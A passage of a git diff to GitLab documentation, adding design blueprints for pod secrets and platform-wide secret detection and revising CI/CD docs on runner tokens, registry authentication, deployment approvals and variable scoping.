diff --git a/doc/architecture/blueprints/pods/pods-feature-secrets.md b/doc/architecture/blueprints/pods/pods-feature-secrets.md
new file mode 100644
index 00000000000..f18a41dc0fb
--- /dev/null
+++ b/doc/architecture/blueprints/pods/pods-feature-secrets.md
@@ -0,0 +1,48 @@
+---
+stage: enablement
+group: pods
+comments: false
+description: 'Pods: Secrets'
+---
+
+This document is a work-in-progress and represents a very early state of the
+Pods design. Significant aspects are not documented, though we expect to add
+them in the future. This is one possible architecture for Pods, and we intend to
+contrast this with alternatives before deciding which approach to implement.
+This documentation will be kept even if we decide not to implement this so that
+we can document the reasons for not choosing this approach.
+
+# Pods: Secrets
+
+Where possible, each pod should have its own distinct set of secrets.
+However, there will be some secrets that will be required to be the same for all
+pods in the cluster
+
+## 1. Definition
+
+GitLab has a lot of
+[secrets](https://docs.gitlab.com/charts/installation/secrets.html) that needs
+to be configured.
+
+Some secrets are for inter-component communication, e.g. `GitLab Shell secret`,
+and used only within a pod.
+
+Some secrets are used for features, e.g. `ci_jwt_signing_key`.
+
+## 2. Data flow
+
+## 3. Proposal
+
+1. Secrets used for features will need to be consistent across all pods, so that the UX is consistent.
+ 1. This is especially true for the `db_key_base` secret which is used for
+ encrypting data at rest in the database - so that projects that are
+ transferred to another pod will continue to work. We do not want to have
+ to re-encrypt such rows when we move projects/groups between pods.
+1. Secrets which are used for intra-pod communication only should be uniquely generated
+ per-pod.
+
+## 4. Evaluation
+
+## 4.1. Pros
+
+## 4.2. Cons
diff --git a/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md b/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md
index ab19b652f93..adc523e90c2 100644
--- a/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md
+++ b/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md
@@ -555,9 +555,9 @@ sequenceDiagram
They get a 404.
-### Experience for non-logged in users
+### Experience for non-authenticated users
-Flow is similar to logged in users except global routes like `/dashboard` will
+Flow is similar to authenticated users except global routes like `/dashboard` will
redirect to the login page as there is no default organization to choose from.
### A new customers signs up
diff --git a/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md b/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md
index c99b02a35e9..1156e65f6aa 100644
--- a/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md
+++ b/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md
@@ -578,7 +578,7 @@ sequenceDiagram
They get a 404.
-### Experience for non-logged in users
+### Experience for non-authenticated users
Flow is similar to logged in users except global routes like `/dashboard` will
redirect to the login page as there is no default organization to choose from.
diff --git a/doc/architecture/blueprints/rate_limiting/index.md b/doc/architecture/blueprints/rate_limiting/index.md
index 22709a90cee..26114fce7f2 100644
--- a/doc/architecture/blueprints/rate_limiting/index.md
+++ b/doc/architecture/blueprints/rate_limiting/index.md
@@ -4,7 +4,7 @@ creation-date: "2022-09-08"
authors: [ "@grzesiek", "@marshall007", "@fabiopitino", "@hswimelar" ]
coach: "@andrewn"
approvers: [ "@sgoldstein" ]
-owning-stage:
+owning-stage: "~devops::enablement"
participating-stages: []
---
@@ -354,28 +354,33 @@ hierarchy. Choosing a proper solution will require a thoughtful research.
## Phases and iterations
-**Phase 1**: Compile examples of current most important application limits — Owning Team
- a. Owning Team (in collaboration with Stage Groups) compiles a list of the
- most important application limits used in Rails today.
-**Phase 2**: Implement Rate Limiting Framework in Rails - Owning Team
- a. Triangulate rate limiting abstractions based on the data gathered in Phase 1
- b. Develop YAML model for limits.
- c. Build Rails SDK.
- d. Create examples showcasing usage of the new rate limits SDK.
-**Phase 3**: Team fan out of Rails SDK - Stage Groups
- a. Individual stage groups begin using the SDK built in Phase 2 for new limit and policies.
- b. Stage groups begin replacing historical adhoc limit implementations with the SDK.
- c. Provides means to monitor and observe the progress of the replacement effort. Ideally this is broken down to the `feature_category` level to drive group-level buy-in -- Owning Team.
-**Phase 4**: Enable Satellite Services to Use the Rate Limiting Framework - Owning Team
- a. Determine if the goals of Phase 4 are best met by either
- 1. Extracting the Rails rate limiting service into a decoupled service OR
- 2. Implementing a separate Go library which uses the same backend (eg, Redis) for rate limiting.
-**Phase 5**: SDK for Satellite Services - Owning Team
- a. Build Golang SDK.
- c. Create examples showcasing usage of the new rate limits SDK.
-**Phase 6**: Team fan out for Satellite Services - Stage Groups
- a. Individual stage groups being using the SDK built in Phase 5 for new limit and policies.
- b. Stage groups begin replacing historical adhoc limit implementations with the SDK.
+1. **Compile examples of current most important application limits (Owning Team)**
+ - Owning Team (in collaboration with Stage Groups) compiles a list of the
+ most important application limits used in Rails today.
+
+1. **Implement Rate Limiting Framework in Rails (Owning Team)**
+ - Triangulate rate limiting abstractions based on the data gathered in Phase 1.
+ - Develop YAML model for limits.
+ - Build Rails SDK.
+ - Create examples showcasing usage of the new rate limits SDK.
+
+1. **Team fan out of Rails SDK (Stage Groups)**
+ - Individual stage groups begin using the SDK built in Phase 2 for new limit and policies.
+ - Stage groups begin replacing historical ad hoc limit implementations with the SDK.
+ - (Owning team) Provides means to monitor and observe the progress of the replacement effort. Ideally this is broken down to the `feature_category` level to drive group-level buy-in.
+
+1. **Enable Satellite Services to Use the Rate Limiting Framework (Owning Team)**
+ - Determine if the goals of Phase 4 are best met by either:
+ - Extracting the Rails rate limiting service into a decoupled service.
+ - Implementing a separate Go library which uses the same backend (for example, Redis) for rate limiting.
+
+1. **SDK for Satellite Services (Owning Team)**
+ - Build Golang SDK.
+ - Create examples showcasing usage of the new rate limits SDK.
+
+1. **Team fan out for Satellite Services (Stage Groups)**
+ - Individual stage groups begin using the SDK built in Phase 5 for new limit and policies.
+ - Stage groups begin replacing historical ad hoc limit implementations with the SDK.
## Status
diff --git a/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png b/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png
index 330873380d4..aab946923e2 100644
--- a/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png
+++ b/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png
Binary files differ
diff --git a/doc/architecture/blueprints/remote_development/index.md b/doc/architecture/blueprints/remote_development/index.md
index 39ea2fb2948..38c3782f5e3 100644
--- a/doc/architecture/blueprints/remote_development/index.md
+++ b/doc/architecture/blueprints/remote_development/index.md
@@ -1,5 +1,5 @@
---
-status: proposed
+status: ongoing
creation-date: "2022-11-15"
authors: [ "@vtak" ]
coach: "@grzesiek"
diff --git a/doc/architecture/blueprints/runner_scaling/index.md b/doc/architecture/blueprints/runner_scaling/index.md
index 8eb6bfd2551..53401d80e34 100644
--- a/doc/architecture/blueprints/runner_scaling/index.md
+++ b/doc/architecture/blueprints/runner_scaling/index.md
@@ -1,8 +1,8 @@
---
-status: accepted
+status: ongoing
creation-date: "2022-01-19"
authors: [ "@grzesiek", "@tmaczukin", "@josephburnett" ]
-coach: "@kamil"
+coach: [ "@ayufan", "@grzesiek" ]
approvers: [ "@DarrenEastman" ]
owning-stage: "~devops::verify"
participating-stages: []
diff --git a/doc/architecture/blueprints/runner_tokens/index.md b/doc/architecture/blueprints/runner_tokens/index.md
index 7a282649c5c..7d21dd594ad 100644
--- a/doc/architecture/blueprints/runner_tokens/index.md
+++ b/doc/architecture/blueprints/runner_tokens/index.md
@@ -1,8 +1,11 @@
---
-stage: Verify
-group: Runner
-comments: false
-description: 'Next Runner Token Architecture'
+status: ready
+creation-date: "2022-10-27"
+authors: [ "@pedropombeiro", "@tmaczukin" ]
+coach: "@ayufan"
+approvers: [ "@erushton" ]
+owning-stage: "~devops::verify"
+participating-stages: []
---
# Next GitLab Runner Token Architecture
@@ -37,7 +40,7 @@ We call this new mechanism the "next GitLab Runner Token architecture".
The proposal addresses the issues of a _single token per scope_ and _token storage_
by eliminating the need for a registration token. Runner creation happens
-in the GitLab Runners settings page for the given scope, in the context of the logged-in user,
+in the GitLab Runners settings page for the given scope, in the context of the authenticated user,
which provides traceability. The page provides instructions to configure the newly-created
runner in supported environments using the existing `gitlab-runner register` command.
@@ -137,7 +140,7 @@ instance (for example if the runner is offline).
In addition, we should add the following columns to `ci_runners`:
-- a `user_id` column to keep track of who created a runner;
+- a `creator_id` column to keep track of who created a runner;
- a `registration_type` enum column to `ci_runners` to signal whether a runner has been created
using the legacy `register` method, or the new UI-based method.
Possible values are `:registration_token` and `:authenticated_user`.
@@ -145,26 +148,25 @@ In addition, we should add the following columns to `ci_runners`:
future uses that may not be apparent.
```sql
-CREATE TABLE ci_runner (
+CREATE TABLE ci_runners (
...
- user_id bigint
+ creator_id bigint
registration_type int8
)
```
-The `ci_builds_runner_session` (or `ci_builds` or `ci_builds_metadata`) shall reference
-`ci_runner_machines`.
+The `ci_builds_metadata` table shall reference `ci_runner_machines`.
We might consider a more efficient way to store `contacted_at` than updating the existing record.
```sql
-CREATE TABLE ci_builds_runner_session (
+CREATE TABLE ci_builds_metadata (
...
runner_machine_id bigint NOT NULL
);
CREATE TABLE ci_runner_machines (
- id integer NOT NULL,
- machine_id character varying UNIQUE NOT NULL,
+ id bigint NOT NULL,
+ machine_xid character varying UNIQUE NOT NULL,
contacted_at timestamp without time zone,
version character varying,
revision character varying,
@@ -172,6 +174,7 @@ CREATE TABLE ci_runner_machines (
architecture character varying,
ip_address character varying,
executor_type smallint,
+ config jsonb DEFAULT '{}'::jsonb NOT NULL
);
```
@@ -238,7 +241,7 @@ future after the legacy registration system is removed, and runners have been up
versions.
Job pings from such legacy runners results in a `ci_runner_machines` record containing a
-`<legacy>` `machine_id` field value.
+`<legacy>` `machine_xid` field value.
Not using the unique system ID means that all connected runners with the same token are
notified, instead of just the runner matching the exact system identifier. While not ideal, this is
@@ -246,8 +249,13 @@ not an issue per-se.
### `ci_runner_machines` record lifetime
-New records are created when the runner pings the GitLab instance for new jobs, if a record matching
-the `token`+`system_id` does not already exist.
+New records are created in 2 situations:
+
+- when the runner calls the `POST /api/v4/runners/verify` endpoint as part of the
+`gitlab-runner register` command, if the specified runner token is prefixed with `glrt-`.
+This allows the frontend to determine whether the user has successfully completed the registration and take an
+appropriate action;
+- when GitLab is pinged for new jobs and a record matching the `token`+`system_id` does not already exist.
Due to the time-decaying nature of the `ci_runner_machines` records, they are automatically
cleaned after 7 days after the last contact from the respective runner.
@@ -306,32 +314,34 @@ using PAT tokens for example - such that every runner is associated with an owne
| Component | Milestone | Changes |
|------------------|----------:|---------|
-| GitLab Runner | `15.x` | Ensure a sidecar TOML file exists with a `system_id` value.<br/>Log new system ID values with `INFO` level as they get assigned. |
-| GitLab Runner | `15.x` | Log unique system ID in the build logs. |
-| GitLab Runner | `15.x` | Label Prometheus metrics with unique system ID. |
-| GitLab Runner | `15.x` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. |
+| GitLab Runner | `15.7` | Ensure a sidecar TOML file exists with a `system_id` value.<br/>Log new system ID values with `INFO` level as they get assigned. |
+| GitLab Runner | `15.7` | Log unique system ID in the build logs. |
+| GitLab Runner | `15.9` | Label Prometheus metrics with unique system ID. |
+| GitLab Runner | `15.8` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. |
### Stage 3 - Database changes
| Component | Milestone | Changes |
|------------------|----------:|---------|
-| GitLab Rails app | | Create database migration to add columns to `ci_runners` table. |
-| GitLab Rails app | | Create database migration to add `ci_runner_machines` table. |
-| GitLab Rails app | | Create database migration to add `ci_runner_machines.machine_id` foreign key to `ci_builds_runner_session` table. |
-| GitLab Rails app | | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). |
-| GitLab Runner | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. |
+| GitLab Rails app | `%15.8` | Create database migration to add columns to `ci_runners` table. |
+| GitLab Rails app | `%15.8` | Create database migration to add `ci_runner_machines` table. |
+| GitLab Rails app | `%15.9` | Create database migration to add `ci_runner_machines.id` foreign key to `ci_builds_metadata` table. |
+| GitLab Rails app | `%15.8` | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). |
+| GitLab Rails app | `%15.8` | Create database migration to add config column to `ci_runner_machines` table. |
| GitLab Runner | | Start sending `system_id` value in `POST /jobs/request` request and other follow-up requests that require identifying the unique system. |
| GitLab Rails app | | Create service similar to `StaleGroupRunnersPruneCronWorker` service to clean up `ci_runner_machines` records instead of `ci_runners` records.<br/>Existing service continues to exist but focuses only on legacy runners. |
+| GitLab Rails app | | Create `ci_runner_machines` record in `POST /runners/verify` request if the runner token is prefixed with `glrt-`. |
+| GitLab Rails app | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. |
### Stage 4 - New UI
| Component | Milestone | Changes |
|------------------|----------:|---------|
-| GitLab Runner | | Implement new GraphQL user-authenticated API to create a new runner. |
-| GitLab Runner | | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). |
-| GitLab Rails app | | Implement UI to create new runner. |
-| GitLab Rails app | | GraphQL changes to `CiRunner` type. |
-| GitLab Rails app | | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) |
+| GitLab Rails app | `%15.10` | Implement new GraphQL user-authenticated API to create a new runner. |
+| GitLab Rails app | `%15.10` | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). |
+| GitLab Rails app | `%15.10` | Implement UI to create new runner. |
+| GitLab Rails app | `%15.10` | GraphQL changes to `CiRunner` type. |
+| GitLab Rails app | `%15.10` | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) |
### Stage 5 - Optional disabling of registration token
diff --git a/doc/architecture/blueprints/secret_detection/index.md b/doc/architecture/blueprints/secret_detection/index.md
new file mode 100644
index 00000000000..26551367a7c
--- /dev/null
+++ b/doc/architecture/blueprints/secret_detection/index.md
@@ -0,0 +1,167 @@
+---
+status: proposed
+creation-date: "2022-11-25"
+authors: [ "@theoretick" ]
+coach: "@DylanGriffith"
+approvers: [ "@connorgilbert", "@amarpatel" ]
+owning-stage: "~devops::secure"
+participating-stages: []
+---
+
+# Secret Detection as a platform-wide experience
+
+## Summary
+
+Today's secret detection feature is built around containerized scans of repositories
+within a pipeline context. This feature is quite limited compared to where leaks
+or compromised tokens may appear and should be expanded to include a much wider scope.
+
+Secret detection as a platform-wide experience encompasses detection across
+platform features with high risk of secret leakage, including repository contents,
+job logs, and project management features such as issues, epics, and MRs.
+
+## Motivation
+
+### Goals
+
+- Support asynchronous secret detection for:
+ - push events
+ - issuable creation
+ - issuable updates
+ - issuable comments
+
+### Non-Goals
+
+The current proposal is limited to asynchronous detection and alerting only.
+
+**Blocking** secrets on push events is high-risk to a critical path and
+would require extensive performance profiling before implementing. See
+[a recent example](https://gitlab.com/gitlab-org/gitlab/-/issues/246819#note_1164411983)
+of a customer incident where this was attempted.
+
+Secret revocation and rotation is also beyond the scope of this new capability.
+
+Scanned object types beyond the scope of this MVC include:
+
+- Media types (JPEGs, PDFs,...)
+- Snippets
+- Wikis
+
+## Proposal
+
+To achieve scalable secret detection for a variety of domain objects a dedicated
+scanning service must be created and deployed alongside the GitLab distribution.
+This is referred to as the `SecretScanningService`.
+
+This service must be:
+
+- highly performant
+- horizontally scalable
+- generic in domain object scanning capability
+
+Platform-wide secret detection should be enabled by-default on GitLab SaaS as well
+as self-managed instances.
+
+## Challenges
+
+- Secure authentication to GitLab.com infrastructure
+- Performance of scanning against large blobs
+- Performance of scanning against volume of domain objects (such as push frequency)
+
+## Design and implementation details
+
+The critical paths as outlined under [goals above](#goals) cover two major object
+types: Git blobs (corresponding to push events) and arbitrary text blobs.
+
+The detection flow for push events relies on subscribing to the PostReceive hook
+and enqueueing Sidekiq requests to the `SecretScanningService`. The `SecretScanningService`
+service fetches enqueued refs, queries Gitaly for the ref blob contents, scans
+the commit contents, and notifies the Rails application when a secret is detected.
+See [Push event detection flow](#push-event-detection-flow) for sequence.
+
+The detection flow for arbitrary text blobs, such as issue comments, relies on
+subscribing to `Notes::PostProcessService` (or equivalent service) and enqueueing
+Sidekiq requests to the `SecretScanningService` to process the text blob by object type
+and primary key of domain object. The `SecretScanningService` service fetches the
+relevant text blob, scans the contents, and notifies the Rails application when a secret
+is detected.
+
+The detection flow for job logs requires processing the log during archive to object
+storage. See discussion [in this issue](https://gitlab.com/groups/gitlab-org/-/epics/8847#note_1116647883)
+around scanning during streaming and the added complexity in buffering lookbacks
+for arbitrary trace chunks.
+
+In any case of detection, the Rails application manually creates a vulnerability
+using the `Vulnerabilities::ManuallyCreateService` to surface the finding within the
+existing Vulnerability Management UI.
+
+See [technical discovery](https://gitlab.com/gitlab-org/gitlab/-/issues/376716)
+for further background exploration.
+
+### Token types
+
+The existing Secret Detection configuration covers ~100 rules across a variety
+of platforms. To reduce total cost of execution and likelihood of false positives
+the dedicated service targets only well-defined tokens. A well-defined token is
+defined as a token with a precise definition, most often a fixed substring prefix or
+suffix and fixed length.
+
+Token types to identify in order of importance:
+
+1. Well-defined GitLab tokens (including Personal Access Tokens and Pipeline Trigger Tokens)
+1. Verified Partner tokens (including AWS)
+1. Remainder tokens currently included in Secret Detection CI configuration
+
+### Detection engine
+
+Our current secret detection offering utilizes [Gitleaks](https://github.com/zricethezav/gitleaks/)
+for all secret scanning within pipeline contexts. By using its `--no-git` configuration
+we can scan arbitrary text blobs outside of a repository context and continue to
+utilize it for non-pipeline scanning.
+
+Given our existing familiarity with the tool and its extensibility, it should
+remain our engine of choice. Changes to the detection engine are out of scope
+unless benchmarking unveils performance concerns.
+
+### Push event detection flow
+
+```mermaid
+sequenceDiagram
+ autonumber
+ actor User
+ User->>+Workhorse: git push
+ Workhorse->>+Gitaly: tcp
+ Gitaly->>+Rails: grpc
+ Sidekiq->>+Rails: poll job
+ Rails->>-Sidekiq: PostReceive worker
+ Sidekiq-->>+Sidekiq: enqueue PostReceiveSecretScanWorker
+
+ Sidekiq->>+Rails: poll job
+ loop PostReceiveSecretScanWorker
+ Rails->>-Sidekiq: PostReceiveSecretScanWorker
+ Sidekiq->>+SecretScanningSvc: ScanBlob(ref)
+ SecretScanningSvc->>+Sidekiq: accepted
+ Note right of SecretScanningSvc: Scanning job enqueued
+ Sidekiq-->>+Rails: done
+ SecretScanningSvc->>+Gitaly: retrieve blob
+ SecretScanningSvc->>+SecretScanningSvc: scan blob
+ SecretScanningSvc->>+Rails: secret found
+ end
+```
+
+## Iterations
+
+1. Requirements definition for detection coverage and actions
+1. PoC of secret scanning service
+ 1. gRPC commit retrieval from Gitaly
+ 1. blob scanning
+ 1. benchmarking of issuables, comments, job logs and blobs to gain confidence that the total costs will be viable
+1. Implementation of secret scanning service MVC (targeting individual commits)
+1. Security and readiness review
+1. Deployment and monitoring
+1. Implementation of secret scanning service MVC (targeting arbitrary text blobs)
+1. Deployment and monitoring
+1. High priority domain object rollout (priority `TBD`)
+ 1. Issuable comments
+ 1. Issuable bodies
+ 1. Job logs
diff --git a/doc/architecture/blueprints/work_items/index.md b/doc/architecture/blueprints/work_items/index.md
index 101fdbf4c2d..058282ec2b7 100644
--- a/doc/architecture/blueprints/work_items/index.md
+++ b/doc/architecture/blueprints/work_items/index.md
@@ -2,7 +2,7 @@
status: accepted
creation-date: "2022-09-28"
authors: [ "@ntepluhina" ]
-coach: "@kamil"
+coach: "@ayufan"
approvers: [ "@gweaver" ]
owning-stage: "~devops::plan"
participating-stages: []
@@ -66,6 +66,7 @@ All Work Item types share the same pool of predefined widgets and are customized
| start and due date | |
| status\* | |
| weight | |
+| [notes](https://gitlab.com/gitlab-org/gitlab/-/issues/378949) | work_items_mvc |
\* status is not currently a widget, but a part of the root work item, similar to title
diff --git a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md
index 4a6b96736df..920e7cca2cb 100644
--- a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md
+++ b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md
@@ -210,7 +210,7 @@ Do not share the secret access key in a public place. You must save it in a secu
### Setup credentials in GitLab to let pipeline jobs access to ECS
-You can register the access information in [GitLab Environment Variables](../../variables/index.md#custom-cicd-variables).
+You can register the access information in [GitLab CI/CD Variables](../../variables/index.md).
These variables are injected into the pipeline jobs and can access the ECS API.
1. Go to **ecs-demo** project on GitLab.
diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md
index bd9276275a7..a8826a6fdb5 100644
--- a/doc/ci/cloud_deployment/index.md
+++ b/doc/ci/cloud_deployment/index.md
@@ -31,7 +31,7 @@ After you set up authentication, you can configure CI/CD to deploy.
| `AWS_SECRET_ACCESS_KEY` | Your secret access key. |
| `AWS_DEFAULT_REGION` | Your region code. You might want to confirm that the AWS service you intend to use is [available in the chosen region](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/). |
-1. Variables are [protected by default](../variables/index.md#protected-cicd-variables).
+1. Variables are [protected by default](../variables/index.md#protect-a-cicd-variable).
To use GitLab CI/CD with branches or tags that are not protected,
clear the **Protect variable** checkbox.
@@ -190,7 +190,7 @@ To deploy to EC2, complete the following steps.
```
- If you do not want these JSON objects saved in your repository, add each object
- as a separate [file type CI/CD variable](../variables/index.md#cicd-variable-types)
+ as a separate [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables)
in the project settings. Use the same variable names as above.
1. In your `.gitlab-ci.yml` file, create a CI/CD variable for the name of the stack. For example:
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index ea62133cb7f..20bdd059a85 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -857,10 +857,10 @@ build:
BUILDAH_FORMAT: docker
# You may need this workaround for some errors: https://stackoverflow.com/a/70438141/1233435
BUILDAH_ISOLATION: chroot
- FQ_IMAGE_NAME: "${CI_REGISTRY_IMAGE}/test"
+ FQ_IMAGE_NAME: "$CI_REGISTRY_IMAGE/test"
before_script:
# Log in to the GitLab container registry
- - export REGISTRY_AUTH_FILE=${HOME}/auth.json
+ - export REGISTRY_AUTH_FILE=$HOME/auth.json
- echo "$CI_REGISTRY_PASSWORD" | buildah login -u "$CI_REGISTRY_USER" --password-stdin $CI_REGISTRY
script:
- buildah images
@@ -872,7 +872,7 @@ build:
## Use the GitLab Container Registry
After you've built a Docker image, you can push it up to the built-in
-[GitLab Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd).
+[GitLab Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd).
## Troubleshooting
diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md
index 37b9ea87d7a..b19e65ee396 100644
--- a/doc/ci/docker/using_kaniko.md
+++ b/doc/ci/docker/using_kaniko.md
@@ -73,7 +73,7 @@ If you authenticate against the [Dependency Proxy](../../user/packages/dependenc
you must add the corresponding CI/CD variables for authentication to the `config.json` file:
```yaml
-- echo "{\"auths\":{\"$CI_REGISTRY\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json
+- echo "{\"auths\":{\"${CI_REGISTRY}\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json
```
### Building an image with kaniko behind a proxy
diff --git a/doc/ci/environments/deployment_approvals.md b/doc/ci/environments/deployment_approvals.md
index a4815a85bc1..a95c47ca4b0 100644
--- a/doc/ci/environments/deployment_approvals.md
+++ b/doc/ci/environments/deployment_approvals.md
@@ -113,6 +113,23 @@ NOTE:
To protect, update, or unprotect an environment, you must have at least the
Maintainer role.
+### Optional settings
+
+#### Allow self-approval
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381418) in GitLab 15.8.
+
+By default, a user who triggered a deployment pipeline can't self-approve the deployment jobs.
+You can allow the self-approval by the following settings:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **Protected environments**.
+1. From the **Approval options**, check **Allow pipeline triggerer to approve deployment**.
+
+By enabling this, when a pipeline runs, deployment jobs will automatically be approved in the pipeline
+if the triggerer is allowed to approve, otherwise nothing happens.
+
## Approve or reject a deployment
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342180/) in GitLab 14.9
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index 1e4eb54c559..cf82238564e 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -130,7 +130,7 @@ ensure that deployments do not happen unexpectedly.
Production secrets are needed to deploy successfully. For example, when deploying to the cloud,
cloud providers require these secrets to connect to their services. In the project settings, you can
-define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protected-cicd-variables)
+define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protect-a-cicd-variable)
are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md)
or [protected tags](../../user/project/protected_tags.md).
The other pipelines don't get the protected variable. You can also
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index 0c412c85e47..514a0b255c5 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -436,6 +436,8 @@ There are multiple ways to clean up [dynamic environments](#create-a-dynamic-env
- If you do _NOT_ use [merge request pipelines](../pipelines/merge_request_pipelines.md), GitLab stops an environment [when the associated feature branch is deleted](#stop-an-environment-when-a-branch-is-deleted).
- If you set [an expiry period to an environment](../yaml/index.md#environmentauto_stop_in), GitLab stops an environment [when it's expired](#stop-an-environment-after-a-certain-time-period).
+To stop stale environments, you can [use the API](../../api/environments.md#stop-stale-environments).
+
#### Stop an environment when a branch is deleted
You can configure environments to stop when a branch is deleted.
@@ -534,10 +536,6 @@ Also in the example, `GIT_STRATEGY` is set to `none`. If the
`stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment),
the runner won't try to check out the code after the branch is deleted.
-The example also overwrites global variables. If your `stop` `environment` job depends
-on global variables, use [anchor variables](../yaml/yaml_optimization.md#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
-to change the job without overriding the global variables.
-
The `stop_review_app` job **must** have the following keywords defined:
- `when`, defined at either:
@@ -926,12 +924,17 @@ NOTE:
GitLab preserves all commits as [`keep-around` refs](../../user/project/repository/reducing_the_repo_size_using_git.md)
so that deployed commits are not garbage collected, even if it's not referenced by the deployment refs.
-### Scope environments with specs
+### Limit the environment scope of a CI/CD variable
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2112) in GitLab Premium 9.4.
> - Environment scoping for CI/CD variables was [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30779) from GitLab Premium to GitLab Free in 12.2.
> - Environment scoping for Group CI/CD variables [added](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) to GitLab Premium in 13.11.
+By default, all [CI/CD variables](../variables/index.md) are available to any job in a pipeline. Therefore, if a project uses a
+compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is
+a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting
+the environment scope of a variable.
+
You can limit the environment scope of a CI/CD variable by
defining which environments it can be available for.
For example, if the environment scope is `production`, then only the jobs
@@ -943,10 +946,6 @@ any job can have this variable, regardless of whether an environment is defined.
If the environment scope is `review/*`, then jobs with environment names starting
with `review/` would have that variable available.
-Some GitLab features can behave differently for each environment.
-For example, you can
-[create a project CI/CD variable to be injected only into a production environment](../variables/index.md#limit-the-environment-scope-of-a-cicd-variable).
-
In most cases, these features use the _environment specs_ mechanism, which offers
an efficient way to implement scoping in each environment group.
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index 638bcf77967..b72ee9b388f 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -210,7 +210,7 @@ configured:
This ensures that only operators can configure the organization-wide
deployment ruleset.
- Developers should be given no more than the Developer role
- for the top-level group, or explicitly given the Owner role for a child project
+ for the top-level group, or explicitly given the Owner role for a child project.
They do *not* have access to the CI/CD configurations in the
top-level group, so operators can ensure that the critical configuration won't
be accidentally changed by the developers.
diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
index 28016216dbb..062bd602c29 100644
--- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
+++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
@@ -67,7 +67,7 @@ This test will be used later for continuously testing our app with GitLab CI/CD.
### Push to GitLab
